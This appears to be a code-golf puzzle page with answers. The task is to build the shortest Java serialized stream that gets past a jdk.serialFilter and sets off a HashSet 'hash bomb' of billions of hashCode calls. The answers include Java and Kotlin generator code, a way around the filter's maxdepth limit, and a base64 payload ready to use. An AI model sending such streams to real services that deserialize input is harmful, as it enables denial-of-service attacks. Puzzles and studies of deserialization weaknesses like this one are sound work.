Hash bomb filtrate

Question

Pipe a short stream to the following Java program run with accompanying command line options, such that it prints true.

class Code implements java.io.Serializable { 
    private static final long serialVersionUID = 0L;
    private static long count; 
    @Override public int hashCode() {
        ++count;
        return super.hashCode();
    }
    public static void main(String[] args) throws Throwable {
        new java.io.ObjectInputStream(System.in).readObject(); 
        System.err.println(count != (int)count);
    }
}

java '-Djdk.serialFilter=maxarray=100000;maxdepth=16;maxrefs=500;Code;java.util.HashSet;java.util.Map$Entry;!*' Code

Rules

• Shortest stream in bytes wins.

• The program above must print true.

• No fiddling with the command line - no aliasing, no running a weird shell, no putting nonsense in classpath, etc. (It does require the quotes. The Map$Entry bit is indeed weird.)

• In case of issue, run on Oracle JDK13 current update at time of posting.

• Tie breaker: size of stream in bytes when compressed with gzip --best (on my machine, if that's variable).

Probably post the source code to generate the stream, rather than some bytes.

Answer 1

1087 bytes 1065 bytes

Apparently the JDK's maxdepth limit is kinda broken...

static Object payload() throws Exception {
  int layers = 30;
  int width = 2;
  int codes = 7;
  int extra = 8;

  List<Set<Object>> sets = new ArrayList<>();
  sets.add(new HashSet<>());

  for (int i = 1; i < layers; i++) {
    Set<Object> s = new HashSet<>();
    sets.add(s);
    for (int j = i - 1; j >= i - width - 1 && j >= 0; j--) {
      sets.get(j).add(s);
    }
  }

  for (int i = 0; i < codes; i++) {
    sets.get(sets.size() - 1).add(new Code());
  }

  // special HashSet at the root to circumvent maxdepth limitation. By including a couple deeply
  // nested HashSets here, they will be replaced by references when they're used inside `sets`.
  // Using a LinkedHashSet to guarantee order of serialization.
  LinkedHashSet<Object> linkedRoot = new LinkedHashSet<>();
  linkedRoot.add(sets.get(28));
  linkedRoot.add(sets.get(14));
  linkedRoot.add(sets.get(0));

  // shaving off some more bytes by storing multiple copies of the same set at the top level
  for (int i = 0; i < extra; i ++) {
    sets.get(0).add("foo" + i);
    linkedRoot.add(sets.get(0));
    sets.get(0).remove("foo" + i);
  }

  // transplant the contents of the LinkedHashSet into the HashSet
  Set<Object> root = new HashSet<>();
  Field mapField = HashSet.class.getDeclaredField("map");
  mapField.setAccessible(true);
  mapField.set(root, mapField.get(linkedRoot));
  return root;
}

Base64-encoded data:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAABA/QAAAAAAAC3NxAH4AAHcMAAAAED9AAAAAAAABc3EAfgAAdwwAAAAQP0AAAAAAAAdzcgAEQ29kZQAAAAAAAAAAAgAAeHBzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AARzcQB+AAR4eHNxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAAJxAH4AAnEAfgADeHEAfgACcQB+AAN4cQB+ABlxAH4AAnhxAH4AGHEAfgAZeHEAfgAXcQB+ABh4cQB+ABZxAH4AF3hxAH4AFXEAfgAWeHEAfgAUcQB+ABV4cQB+ABNxAH4AFHhxAH4AEnEAfgATeHEAfgARcQB+ABJ4cQB+ABBxAH4AEXhxAH4AD3EAfgAQeHEAfgAOcQB+AA94c3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3NxAH4AAHcMAAAAED9AAAAAAAADc3EAfgAAdwwAAAAQP0AAAAAAAANzcQB+AAB3DAAAABA/QAAAAAAAA3EAfgAMcQB+AA1xAH4ADnhxAH4ADHEAfgANeHEAfgAncQB+AAx4cQB+ACZxAH4AJ3hxAH4AJXEAfgAmeHEAfgAkcQB+ACV4cQB+ACNxAH4AJHhxAH4AInEAfgAjeHEAfgAhcQB+ACJ4cQB+ACBxAH4AIXhxAH4AH3EAfgAgeHEAfgAecQB+AB94cQB+AB1xAH4AHnhxAH4AHHEAfgAdeHEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABpxAH4AGnEAfgAacQB+ABp4

Answer 2

This one’s 1207 bytes and performs 3910245742 hashes.

private fun veryHashySet(): Set<Any> {
  val codes = listOf(Code(), Code())
  val sets = mutableListOf<Set<Any>>()

  for (i in 0 until 16) {
    val limit = if (i == 15) 3 else 2
    for (j in 0 until limit) {
      val set = HashSet<Any>()
      for (k in 0 until 4) {
        when {
          k < sets.size -> set.add(sets[sets.size - 1 - k])
          k < codes.size -> set.add(codes[k])
        }
      }
      sets += set
    }
  }

  return sets.last()
}

Data:

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